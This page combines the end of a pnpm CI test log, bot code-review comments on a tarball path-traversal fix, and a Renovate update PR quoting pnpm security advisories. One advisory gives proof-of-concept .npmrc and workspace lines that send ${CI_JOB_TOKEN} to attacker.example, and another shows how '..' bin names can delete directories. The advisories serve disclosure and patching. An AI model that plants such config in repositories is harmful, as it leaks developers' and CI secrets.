1969:  PASS test/install/optional.ts
1970:  PASS test/exec.ts
1971:  PASS test/install/yesFlag.ts (5.028 s)
1972:  PASS test/install/only.ts
1973:  PASS test/verifyDepsBeforeRun/engineCheck.ts
1974:  PASS test/install/issue-8959.ts
1975:  PASS test/monorepo/peerDependencies.ts
1976:  PASS test/root.ts
1977:  PASS test/install/preferOffline.ts
1978:  PASS test/bin.ts
1979:  PASS test/formatError.test.ts
1980:  PASS test/config.ts
1981:  PASS test/help.spec.ts
1982:  ------------------------------|---------|----------|---------|---------|-------------------------------------------------
1983:  File                          | % Stmts | % Branch | % Funcs | % Lines | Uncovered Line #s                               
1984:  ------------------------------|---------|----------|---------|---------|-------------------------------------------------
1985:  All files                     |   66.56 |       63 |   62.71 |   67.56 |                                                 
1986:  artifacts/exe                |   85.71 |       90 |     100 |   85.71 |                                                 
1987:  platform-pkg-name.js        |   85.71 |       90 |     100 |   85.71 | 16                                              
1988:  src                          |   71.64 |    61.34 |      95 |   72.13 |                                                 
1989:  checkForUpdates.ts          |     100 |     87.5 |     100 |     100 | 33                                              
1990:  exit.ts                     |     100 |       50 |     100 |     100 | 2                                               
1991:  formatError.ts              |     100 |      100 |     100 |     100 |                                                 
1992:  getConfig.ts                |   60.65 |    44.44 |     100 |   59.64 | 27,66-87,116-117,126-130,133,138-139            
1993:  packageManagerLockfile.ts   |   76.31 |    71.79 |     100 |   78.37 | 6,12,23,33,44,47,50,55                          
1994:  packageManagerRegistries.ts |     100 |      100 |     100 |     100 |                                                 
1995:  switchCliVersion.ts         |    55.1 |    48.71 |      50 |   57.44 | 34-51,54-59,71-72,75-76,128,153,156-157,163-167 
1996:  syncEnvLockfile.ts          |     100 |      100 |     100 |     100 |                                                 
1997:  src/cmd                      |   29.41 |    18.75 |   28.57 |   29.41 |                                                 
1998:  help.ts                     |   29.41 |    18.75 |   28.57 |   29.41 | 10-19,36,40,51-279                              
1999:  test/utils                   |   61.61 |    75.43 |   46.66 |   64.04 |                                                 
2000:  distTags.ts                 |     100 |      100 |     100 |     100 |                                                 
2001:  execPnpm.ts                 |   71.08 |    78.18 |    61.9 |   74.32 | 48-79,128,166-167                               
2002:  index.ts                    |       0 |        0 |       0 |       0 |                                                 
2003:  isPortInUse.ts              |    8.33 |        0 |       0 |    9.09 | 3-17                                            
2004:  localPkg.ts                 |       0 |      100 |       0 |       0 | 3-6                                             
2005:  testDefaults.ts             |       0 |      100 |       0 |       0 | 4                                               
2006:  ------------------------------|---------|----------|---------|---------|-------------------------------------------------
2007:  Summary of all failing tests
2008:  FAIL test/dlx.ts (208.201 s)
2009:  ● dlx creates cache and store prune cleans cache
2010:  Command timed out after 180000ms
2011:  �[0m�[0m
2012:  at Timeout._onTimeout (test/utils/execPnpm.ts:2851:15)
2013:  Test Suites: 1 failed, 3 skipped, 65 passed, 66 of 69 total
2014:  Tests:       1 failed, 32 skipped, 512 passed, 545 total
2015:  Snapshots:   0 total
2016:  Time:        1080.178 s
2017:  Ran all test suites.
2018:  Force exiting Jest: Have you considered using `--detectOpenHandles` to detect async operations that kept running after all tests finished?
2019:  D:\a\pnpm\pnpm\pnpm:
2020:  [ERR_PNPM_RECURSIVE_RUN_FIRST_FAIL] pnpm@11.5.2 .test: `cross-env NODE_OPTIONS="$NODE_OPTIONS --experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" jest`
2021:  Exit status 1
2022:  [ELIFECYCLE] Command failed with exit code 1.
2023:  [ELIFECYCLE] Command failed with exit code 1.
2024:  ##[error]Process completed with exit code 1.
2025:  Post job cleanup.

@zkochan zkochan marked this pull request as ready for review June 10, 2026 09:58
@qodo-free-for-open-source-projects

qodo-free-for-open-source-projects Bot commented Jun 10, 2026

Copy link
Copy Markdown

Code Review by Qodo

🐞 Bugs (1) 📘 Rule violations (0)

Grey Divider


Informational

1. Rendering loads validation deps 🐞 Bug ➹ Performance
Description
stage/rendering.ts re-exports normalizePackageName from safeTarballFilename.ts, which imports semver
and validate-npm-package-name, so stage list/view/publish now load those extra modules even though
they only render output. This adds unnecessary startup/module-evaluation work and couples rendering
to tarball-validation code.
Code

releasing/commands/src/stage/rendering.ts[R4-5]

+export { normalizePackageName } from '../tarball/safeTarballFilename.js'
+
Evidence
The re-export in stage rendering forces evaluation of safeTarballFilename (and its imports) whenever
rendering is imported; multiple stage subcommands import rendering even though they do not need
filename validation.

releasing/commands/src/stage/rendering.ts[1-6]
releasing/commands/src/tarball/safeTarballFilename.ts[1-6]
releasing/commands/src/stage/list.ts[1-7]
releasing/commands/src/stage/view.ts[1-5]
releasing/commands/src/stage/publish.ts[1-4]

Agent prompt
The issue below was found during a code review. Follow the provided context and guidance below and implement a solution

## Issue description
`releasing/commands/src/stage/rendering.ts` re-exports `normalizePackageName` from `tarball/safeTarballFilename.ts`. Because `safeTarballFilename.ts` imports `semver` and `validate-npm-package-name`, any consumer of `stage/rendering.ts` ends up loading these validation dependencies even when it only needs rendering helpers (e.g. `stage list`, `stage view`, `stage publish`).

## Issue Context
This is a minor performance/modularity regression introduced by the re-export. The validation-heavy module is needed for filename creation, but rendering-only paths shouldn’t have to import it.

## Fix Focus Areas
- releasing/commands/src/stage/rendering.ts[1-6]
- releasing/commands/src/tarball/safeTarballFilename.ts[1-6]

### Suggested approach
- Move `normalizePackageName()` into a lightweight module (e.g. `releasing/commands/src/tarball/normalizePackageName.ts`) with no `semver`/`validate-npm-package-name` imports.
- Import it from both `safeTarballFilename.ts` and `stage/rendering.ts` (or keep a local `normalizePackageName` in `stage/rendering.ts` if it’s only needed there).
- Ensure public exports remain stable if other code imports `normalizePackageName` from `stage/rendering.ts`.

ⓘ Copy this prompt and use it to remediate the issue with your preferred AI generation tools


Grey Divider

Qodo Logo

@qodo-free-for-open-source-projects

Copy link
Copy Markdown

PR Summary by Qodo

Fix path traversal by validating staged tarball filenames
🐞 Bug fix 🧪 Tests 🕐 20-40 Minutes

Grey Divider

Walkthroughs

Description
• Validate staged tarball manifest name/version before deriving tarball filenames.
• Ensure pnpm stage download cannot write files outside the selected directory.
• Add regression tests for traversal attempts via manifest metadata.
Diagram
graph TD
  A["stage download cmd"] --> B["stageRequest"] --> C["tarball bytes"] --> D["summarizeTarball"] --> E["createTarballFilename"] --> F["writeFile (downloadDir)"]
  T["jest stage tests"] --> A
Loading
High-Level Assessment

The PR’s approach—centralizing filename derivation/validation in a shared helper and reusing it in both summarizeTarball and stage download—is the most robust option. It prevents traversal by validating name/version semantics (npm name + semver) and rejecting path-like filenames (POSIX/Windows basenames), while the command additionally enforces write containment within the chosen download directory.

Grey Divider

File Changes

Bug fix (3)
download.ts Harden 'stage download' output filename and output path containment +11/-3

Harden 'stage download' output filename and output path containment

• Switches filename derivation to 'createTarballFilename()' using tarball summary name/version plus the stage id suffix. Resolves the output path relative to the resolved download directory and throws 'INVALID_TARBALL_FILENAME' if the computed path escapes that directory before writing.

releasing/commands/src/stage/download.ts


safeTarballFilename.ts Introduce validated, traversal-safe tarball filename builder +30/-0

Introduce validated, traversal-safe tarball filename builder

• Adds 'createTarballFilename()' that validates npm package names and semver versions before constructing a '.tgz' filename. Rejects any filename that is not a plain basename on both POSIX and Windows to block path separators/traversal tokens.

releasing/commands/src/tarball/safeTarballFilename.ts


summarizeTarball.ts Derive tarball summary filename via shared validator +2/-5

Derive tarball summary filename via shared validator

• Replaces ad-hoc filename formatting with 'createTarballFilename()' when building the tarball publish summary, ensuring invalid manifest metadata is rejected during summarization.

releasing/commands/src/tarball/summarizeTarball.ts


Refactor (1)
rendering.ts Reuse shared package-name normalization utility +2/-4

Reuse shared package-name normalization utility

• Exports 'normalizePackageName' from the new tarball filename utility module and removes the duplicated local implementation.

releasing/commands/src/stage/rendering.ts


Tests (1)
stage.test.ts Add regression tests for manifest-driven traversal attempts in 'stage download' +88/-0

Add regression tests for manifest-driven traversal attempts in 'stage download'

• Adds tests that craft a minimal tarball containing a malicious 'package/package.json' manifest (bad version and bad name) and ensures 'stage download' rejects with the expected error codes. Verifies no file is created outside the download directory and the download directory remains empty on failure.

releasing/commands/test/stage.test.ts


Documentation (1)
stale-stage-tarballs.md Add changeset for staged tarball filename validation fix +6/-0

Add changeset for staged tarball filename validation fix

• Adds a patch changeset documenting that invalid staged manifest name/version are rejected before deriving 'pnpm stage download' filenames.

.changeset/stale-stage-tarballs.md


Grey Divider

Qodo Logo

@zkochan zkochan merged commit 65443f4 into main Jun 10, 2026
14 of 15 checks passed
@zkochan zkochan deleted the vuln-038 branch June 10, 2026 10:06
@zkochan

zkochan commented Jun 10, 2026

Copy link
Copy Markdown
Member Author

shipped in v11.5.3

KSXGitHub pushed a commit that referenced this pull request Jun 10, 2026
Integrate the 9 commits main gained (#12271, #12294, #12301, #12303,
#12305, #12312, #12315, #12316, and the release/version bumps).

Conflict resolution: all four conflicts (record_lockfile_verified,
build_modules, hoisted_dep_graph, install) were between this branch's
lint edits and main's feature changes — took main's authoritative
versions; lint compliance is re-derived by re-running clippy in the
follow-up commit.
alunduil pushed a commit to alunduil/alunduil-chezmoi that referenced this pull request Jun 27, 2026
> ℹ️ **Note**
> 
> This PR body was truncated due to platform limits.

This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [pnpm](https://pnpm.io)
([source](https://redirect.github.com/pnpm/pnpm/tree/HEAD/pnpm)) |
`11.5.1` → `11.8.0` |
![age](https://developer.mend.io/api/mc/badges/age/npm/pnpm/11.8.0?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/pnpm/11.5.1/11.8.0?slim=true)
|

---

### pnpm: Repository config can expand victim environment secrets into
registry requests before scripts run
[CVE-2026-55180](https://nvd.nist.gov/vuln/detail/CVE-2026-55180) /
[GHSA-3qhv-2rgh-x77r](https://redirect.github.com/advisories/GHSA-3qhv-2rgh-x77r)

<details>
<summary>More information</summary>

#### Details
<!-- maintainer-action:start -->

##### Maintainer Action Plan

This report is ready to review with the shared patch branch. Start with
the PR and the expected fixed behavior, then use the detailed exploit
narrative below only if you want to replay the original path.

- Advisory: `CAND-PNPM-122` / `GHSA-3qhv-2rgh-x77r`
- Advisory URL:
https://github.com/pnpm/pnpm/security/advisories/GHSA-3qhv-2rgh-x77r
- Shared patch PR:
[https://github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1](https://redirect.github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1)
- Shared patch branch: `security/ghsa-batch-2026-06-09`
- Patch commit: `a93449314f398cf4bdf2e28d033c02d37395ad22`
- Base commit: `origin/main` `55a4035abf1ae3fe7208ba1f5ef43c5eff58ccec`
- Maintainer priority: `start-here`
- Component: `pnpm config/env replacement and registry auth`
- Patch area: project .npmrc env placeholders are not expanded into
registry/auth destinations
- Affected packages: `npm:pnpm`, `npm:@&#8203;pnpm/config.reader`,
`rust:pacquet`
- CWE IDs: `CWE-201`, `CWE-200`, `CWE-522`
- Conservative CVSS: `6.5` /
`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N`
- Next action: review the shared patch branch for this component, set
the final affected version range, merge and release the fix, then
publish or close the advisory.

##### Expected Patched Behavior

Project `.npmrc` environment placeholders do not expand into registry or
auth destinations; the secret is absent from the request URL and auth
header.

##### Files And Tests To Review

- `config/reader/src/loadNpmrcFiles.ts`
- `config/reader/src/getOptionsFromRootManifest.ts`
- `config/reader/test/index.ts`
- `config/reader/test/getOptionsFromRootManifest.test.ts`
- `pacquet/crates/config/src/npmrc_auth.rs`
- `pacquet/crates/config/src/npmrc_auth/tests.rs`
- `pacquet/crates/config/src/workspace_yaml.rs`
- `pacquet/crates/config/src/workspace_yaml/tests.rs`
- `.changeset/sharp-registry-env-placeholders.md`

##### Focused Validation

Run these from a checkout of the shared patch branch. They are the
useful maintainer commands with machine-local artifact paths removed.

```bash
./node_modules/.bin/tsgo --build config/reader/tsconfig.json
NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/getOptionsFromRootManifest.test.ts --runInBand
NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/index.ts -t "project \.npmrc does not expand env variables in registry URLs|project \.npmrc does not expand env variables in scoped registry URLs or URL-scoped keys|project \.npmrc does not expand env variables in auth values|user \.npmrc may expand env variables in registry URLs|drops the placeholder when the env var is unset|substitutes normally when the env var is set|only drops the unresolved placeholder|explicit .*undefined.* fallbacks|pnpm-workspace\.yaml registries do not expand env variables|return a warning when the \.npmrc has an env variable" --runInBand
./node_modules/.bin/eslint config/reader/src/loadNpmrcFiles.ts config/reader/src/getOptionsFromRootManifest.ts config/reader/test/index.ts config/reader/test/getOptionsFromRootManifest.test.ts
cargo fmt --manifest-path pacquet/crates/config/Cargo.toml --check
cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_registry_urls --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_scoped_registry_urls --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_url_scoped_keys --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_auth_values --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml trusted_ini_expands_env_placeholders_in_registry_urls --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml ignores_env_vars_inside_workspace_registry_values --lib
git diff --check
cargo fmt --check
```

The full patched replay for the shared branch passed with all 20
candidates marked fixed. This candidate's replay evidence is
`results/CAND-PNPM-122-patched-result.json`.
<!-- maintainer-action:end -->

##### CAND-PNPM-122: Repository config can expand victim environment
secrets into registry requests before scripts run

##### Advisory Details

##### Summary

pnpm and pacquet expanded `${ENV_VAR}` placeholders from
repository-controlled `.npmrc` and `pnpm-workspace.yaml` into registry
request destinations and registry credentials. A malicious repository
could cause dependency resolution to send victim environment secrets to
an attacker-selected registry before lifecycle scripts run.

##### Details

The vulnerable TypeScript pnpm path was:

- `config/reader/src/loadNpmrcFiles.ts` loaded project `.npmrc` and
substituted environment placeholders in keys and values.
- `config/reader/src/getOptionsFromRootManifest.ts` substituted
environment placeholders inside workspace `registry`, `registries`, and
`namedRegistries` settings.
- `config/reader/src/index.ts` merged those expanded registry/auth
values into `pnpmConfig.registries`, `pnpmConfig.authConfig`, and
`pnpmConfig.configByUri`.
- `resolving/npm-resolver/src/fetch.ts` built metadata request URLs from
the selected registry.
- `network/fetch/src/fetchFromRegistry.ts` dispatched the request and
attached matching auth headers before install lifecycle scripts could
run.

The pacquet parity path was:

- `pacquet/crates/config/src/npmrc_auth.rs` expanded project `.npmrc`
placeholders while parsing registry URLs and auth values.
- `pacquet/crates/config/src/workspace_yaml.rs` expanded workspace
registry placeholders.
- `pacquet/crates/resolving-npm-resolver/src/fetch_full_metadata.rs`
used the configured registry URL and `AuthHeaders` for metadata fetches.

##### PoC

Repository `.npmrc` URL-path exfiltration:

```ini
registry=https://attacker.example/${CI_JOB_TOKEN}/
```

Repository `.npmrc` auth-header exfiltration:

```ini
registry=https://attacker.example/
//attacker.example/:_authToken=${CI_JOB_TOKEN}
```

Repository `pnpm-workspace.yaml` URL-path exfiltration:

```yaml
registries:
  default: https://attacker.example/${CI_JOB_TOKEN}/
namedRegistries:
  work: https://attacker.example/${CI_JOB_TOKEN}/npm/
```

Exploit method:

1. The victim checks out the repository and runs a pnpm or pacquet
dependency-management command with `CI_JOB_TOKEN` or another sensitive
environment variable present.
2. Before the patch, repository config expanded the placeholder to the
victim secret.
3. The resolver used the expanded registry or matching auth entry to
construct a metadata request.
4. The victim sent a request such as
`https://attacker.example/<secret>/<package>` or `Authorization: Bearer
<secret>` to the attacker-controlled endpoint.

Validation PoC:

The PoC models the pre-patch URL and Authorization-header leaks, then
verifies that patched pnpm and pacquet do not keep the secret in
repository-controlled registry destinations or credential values.

##### Impact

A malicious repository can disclose environment secrets present in a
developer or CI process to a repository-selected registry before script
controls apply. This can expose npm tokens, CI job tokens, OIDC helper
inputs, or other conventional environment secrets if the attacker knows
or guesses their names.

##### Affected Products

Ecosystem: npm

Package name: `pnpm`, `@pnpm/config.reader`; pacquet Rust port

Affected versions: current main before this patch, when project `.npmrc`
or `pnpm-workspace.yaml` contains environment placeholders in registry
request destinations or project `.npmrc` contains environment
placeholders in registry credential values.

Patched versions: pending release containing this patch.

##### Severity

Severity before patch: High

Vector string before patch:
`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N`

Score before patch: 7.4

Severity after patch: None

Vector string after patch: not vulnerable after patch

Score after patch: 0.0

Rationale: exploitation is remote and low complexity once a victim runs
pnpm or pacquet in the malicious repository. No attacker privileges are
required, but user interaction is required. The demonstrated sink is
secret disclosure through outbound registry requests, not arbitrary code
execution, so confidentiality is high while integrity and availability
are not directly impacted by this finding. After the patch,
repository-controlled registry destinations and credential values
containing env placeholders are ignored, while trusted
user/global/auth.ini/CLI config still expands.

##### Weaknesses

CWE-201: Insertion of Sensitive Information Into Sent Data

CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

CWE-522: Insufficiently Protected Credentials

##### Patch

The patch makes environment expansion trust-aware for registry requests:

- Project `.npmrc` no longer expands `${...}` in `registry`,
`@scope:registry`, proxy URL values, URL-scoped keys such as
`//host/${SECRET}/:_authToken`, or registry credential values such as
`//host/:_authToken=${SECRET}` and `_authToken=${SECRET}`.
- User `.npmrc`, auth.ini, CLI, global, and environment config still
support env expansion for trusted registry configuration.
- `pnpm-workspace.yaml` no longer expands `${...}` in `registry`,
`registries`, or `namedRegistries` URL values.
- Trusted user-level auth values such as
`//registry.npmjs.org/:_authToken=${NODE_AUTH_TOKEN}` still expand or
lossy-drop as before, preserving setup-node and OIDC trusted-publishing
behavior when the `.npmrc` is supplied as user config.
- Pacquet mirrors the same boundary with `from_project_ini()` for
project `.npmrc` and workspace registry filtering.

Changed files:

- `config/reader/src/loadNpmrcFiles.ts`
- `config/reader/src/getOptionsFromRootManifest.ts`
- `config/reader/test/index.ts`
- `config/reader/test/getOptionsFromRootManifest.test.ts`
- `pacquet/crates/config/src/npmrc_auth.rs`
- `pacquet/crates/config/src/npmrc_auth/tests.rs`
- `pacquet/crates/config/src/workspace_yaml.rs`
- `pacquet/crates/config/src/workspace_yaml/tests.rs`

Changeset:

- `.changeset/sharp-registry-env-placeholders.md`

Pacquet parity:

Ported in the same patch. Pacquet dependency-management commands now
parse project `.npmrc` with request-destination and credential-value env
expansion disabled, and drop workspace registry values containing
`${...}` placeholders.

##### Verification

Post-patch validation:

The PoC ran:

```bash
./node_modules/.bin/tsgo --build config/reader/tsconfig.json
NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/getOptionsFromRootManifest.test.ts --runInBand
NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/index.ts -t "project \.npmrc does not expand env variables in registry URLs|project \.npmrc does not expand env variables in scoped registry URLs or URL-scoped keys|project \.npmrc does not expand env variables in auth values|user \.npmrc may expand env variables in registry URLs|drops the placeholder when the env var is unset|substitutes normally when the env var is set|only drops the unresolved placeholder|explicit .*undefined.* fallbacks|pnpm-workspace\.yaml registries do not expand env variables|return a warning when the \.npmrc has an env variable" --runInBand
./node_modules/.bin/eslint config/reader/src/loadNpmrcFiles.ts config/reader/src/getOptionsFromRootManifest.ts config/reader/test/index.ts config/reader/test/getOptionsFromRootManifest.test.ts
cargo fmt --manifest-path pacquet/crates/config/Cargo.toml --check
cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_registry_urls --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_scoped_registry_urls --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_url_scoped_keys --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_auth_values --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml trusted_ini_expands_env_placeholders_in_registry_urls --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml ignores_env_vars_inside_workspace_registry_values --lib
git diff --check
```

Results:

- PoC pre-patch model showed `cand122-ci-job-token` in both a request
URL and a bearer auth header.
- TypeScript build for `config.reader`: passed.
- Focused root-manifest tests: 8 passed, including workspace registry
and named-registry placeholder denial.
- Focused config-reader integration tests: 10 passed, covering project
`.npmrc` default registry denial, scoped registry denial, URL-scoped-key
denial, project auth-value denial, trusted user `.npmrc` registry
expansion, trusted user auth-value expansion/lossy fallback, and
workspace registry denial.
- `cargo fmt --check`: passed.
- Focused pacquet tests: 6 passed, covering project `.npmrc` registry
denial, scoped registry denial, URL-scoped-key denial, auth-value
denial, trusted `.npmrc` registry expansion, and workspace YAML denial.
- `git diff --check`: passed.

##### CVSS Reassessment

The initial scan score used a repository-code-execution vector:

`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` (8.8 High)

The PoC and source trace showed this finding is direct secret disclosure
through registry request URLs or Authorization headers, not a code
execution path. The corrected vulnerable vector is:

`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N`

Corrected vulnerable score: 7.4 High.

Final score after patch: 0.0.

#### Severity
- CVSS Score: 6.5 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N`

#### References
-
[https://github.com/pnpm/pnpm/security/advisories/GHSA-3qhv-2rgh-x77r](https://redirect.github.com/pnpm/pnpm/security/advisories/GHSA-3qhv-2rgh-x77r)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-55180](https://nvd.nist.gov/vuln/detail/CVE-2026-55180)
- [https://github.com/pnpm/pnpm](https://redirect.github.com/pnpm/pnpm)

This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-3qhv-2rgh-x77r) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### pnpm: Reserved bin name deletes PNPM_HOME during global remove
[CVE-2026-55699](https://nvd.nist.gov/vuln/detail/CVE-2026-55699) /
[GHSA-4gxm-v5v7-fqc4](https://redirect.github.com/advisories/GHSA-4gxm-v5v7-fqc4)

<details>
<summary>More information</summary>

#### Details
<details>
<summary>Maintainer Action Plan</summary>

##### Maintainer Action Plan

This report is ready to review with the shared patch branch. Start with
the PR and the expected fixed behavior, then use the detailed exploit
narrative below only if you want to replay the original path.

- Advisory: `CAND-PNPM-085` / `GHSA-4gxm-v5v7-fqc4`
- Advisory URL:
https://github.com/pnpm/pnpm/security/advisories/GHSA-4gxm-v5v7-fqc4
- Shared patch PR:
[https://github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1](https://redirect.github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1)
- Shared patch branch: `security/ghsa-batch-2026-06-09`
- Patch commit: `a93449314f398cf4bdf2e28d033c02d37395ad22`
- Base commit: `origin/main` `55a4035abf1ae3fe7208ba1f5ef43c5eff58ccec`
- Maintainer priority: `appendix`
- Component: `pnpm global add/remove bin cleanup`
- Patch area: bin name/path segment validation
- Affected packages: `npm:pnpm`
- CWE IDs: `CWE-22`, `CWE-73`
- Conservative CVSS: `6.5` /
`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H`
- Next action: review the shared patch branch for this component, set
the final affected version range, merge and release the fix, then
publish or close the advisory.

##### Expected Patched Behavior

Reserved, dot, and path-segment bin names are rejected or ignored;
global remove leaves `PNPM_HOME` and the sentinel file intact.

##### Files And Tests To Review

- `bins/resolver/src/index.ts`
- `bins/resolver/test/index.ts`
- `global/commands/test/globalRemove.test.ts`
- `pacquet/crates/cmd-shim/src/bin_resolver.rs`
- `pacquet/crates/cmd-shim/src/bin_resolver/tests.rs`
- `.changeset/strange-bin-segments.md`

##### Focused Validation

Run these from a checkout of the shared patch branch. They are the
useful maintainer commands with machine-local artifact paths removed.

- Use the private PR checks plus the patched replay coverage matrix for
this candidate.

The full patched replay for the shared branch passed with all 20
candidates marked fixed. This candidate's replay evidence is
`results/CAND-PNPM-085-patched-result.json`.
<!-- maintainer-action:end -->

##### Title

Reserved manifest bin names can make global package operations delete
outside the global bin directory

</details>

##### Description

##### Summary

Manifest `bin` object keys such as `""`, `"."`, and `".."` passed pnpm's
bin-name guard. When a malicious package was installed globally, later
global remove, update, or add-replacement flows could re-derive those
names from the installed manifest and pass `path.join(globalBinDir,
binName)` to `removeBin`. For `"."` this targets the global bin
directory; for `".."` this targets its parent.

##### Details

The vulnerable dataflow was:

- `bins/resolver/src/index.ts` converted manifest `bin` object keys to
`binName` and only required URL-safe text or `$`. Empty, dot, dot-dot,
and scoped forms such as `@scope/..` were not rejected after scope
stripping.
- `global/packages/src/scanGlobalPackages.ts` scanned installed global
package manifests and returned manifest-derived `bin.name` values.
- `global/commands/src/globalRemove.ts`,
`global/commands/src/globalUpdate.ts`, and global add replacement logic
joined those names to `globalBinDir`.
- `bins/remover/src/removeBins.ts` recursively removed the resulting
path.

Install-time checks did not close the gap: bin target paths were
package-root checked, conflict checks looked at the same escaped path
but did not reject reserved segments, and bin-link warning paths could
leave the package installed for later global operations.

##### PoC

Run:

The script first performs a safe prepatch simulation in a temporary
directory:

```text
prepatch_reserved_bin_name=..
prepatch_delete_target=/.../cand-pnpm-085.XXXXXX/home
prepatch_deleted_global_bin_parent=true
```

It then validates the patched implementation:

```bash
./node_modules/.bin/tsgo --build bins/resolver/tsconfig.json
./node_modules/.bin/tsgo --build global/commands/tsconfig.json
./node_modules/.bin/eslint bins/resolver/src/index.ts bins/resolver/test/index.ts global/commands/test/globalRemove.test.ts
cd bins/resolver
NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/index.ts --runInBand
cd global/commands
NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/globalRemove.test.ts -t "global remove ignores reserved manifest bin names" --runInBand
cargo fmt --manifest-path pacquet/crates/cmd-shim/Cargo.toml --check
cargo test --manifest-path pacquet/crates/cmd-shim/Cargo.toml bin_resolver --lib
git diff --check -- bins/resolver global/commands/test/globalRemove.test.ts pacquet/crates/cmd-shim .changeset/strange-bin-segments.md pnpm-lock.yaml
```

The patched resolver no longer emits reserved bin names, and the
global-remove regression proves the deletion sink receives only
`path.join(globalBinDir, "good")`.

##### Impact

Direct confidentiality impact was not validated for this primitive; the
sink is deletion/corruption, not a read or disclosure path.

##### Affected Products

Ecosystem: npm

Package name: `pnpm`

Affected versions: versions before the patch that accept reserved
manifest bin names in TypeScript global package flows.

Patched versions: pending release containing the shared bin-name
hardening.

##### Severity

Corrected vulnerable severity: High

Corrected vulnerable vector string:
`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H`

Corrected vulnerable score: 8.1

Final post-patch score: 0.0, not vulnerable after patch.

The original scan score was 8.3 with `C:H/I:H/A:L`. Revalidation removes
direct confidentiality impact and raises availability to high because
the sink can recursively delete the global bin directory or its parent.

##### Weaknesses

CWE-22: Improper Limitation of a Pathname to a Restricted Directory

CWE-73: External Control of File Name or Path

##### Patch

- `bins/resolver/src/index.ts` now rejects empty, dot, and dot-dot bin
names after scope stripping.
- `bins/resolver/test/index.ts` covers empty, dot, dot-dot, and scoped
reserved bin keys.
- `global/commands/test/globalRemove.test.ts` proves global remove
filters reserved manifest bin names before deletion and only removes a
safe `good` shim.
- `pacquet/crates/cmd-shim/src/bin_resolver.rs` mirrors the same
reserved-name rejection; empty names were already rejected.
- `pacquet/crates/cmd-shim/src/bin_resolver/tests.rs` extends parity
coverage.
- `.changeset/strange-bin-segments.md` records patch releases for
`@pnpm/bins.resolver`, `pnpm`, and `pacquet`.

Pacquet parity is appropriate at the shared bin resolver/linker boundary
because pacquet dependency-management commands can resolve and link
package bins, even though the TypeScript-only global remove/update/add
replacement flow is the concrete destructive-delete sink.

##### Validation

Passed locally:

The script passed TypeScript builds, ESLint, `bins/resolver` Jest,
global-remove sink Jest, pacquet fmt/tests, and `git diff --check`.

#### Severity
- CVSS Score: 6.5 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H`

#### References
-
[https://github.com/pnpm/pnpm/security/advisories/GHSA-4gxm-v5v7-fqc4](https://redirect.github.com/pnpm/pnpm/security/advisories/GHSA-4gxm-v5v7-fqc4)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-55699](https://nvd.nist.gov/vuln/detail/CVE-2026-55699)
- [https://github.com/pnpm/pnpm](https://redirect.github.com/pnpm/pnpm)

This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-4gxm-v5v7-fqc4) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### pnpm: Manifest identity spoof satisfies allowBuilds and runs
attacker lifecycle
[CVE-2026-55487](https://nvd.nist.gov/vuln/detail/CVE-2026-55487) /
[GHSA-5wx6-mg75-v57r](https://redirect.github.com/advisories/GHSA-5wx6-mg75-v57r)

<details>
<summary>More information</summary>

#### Details
##### Summary

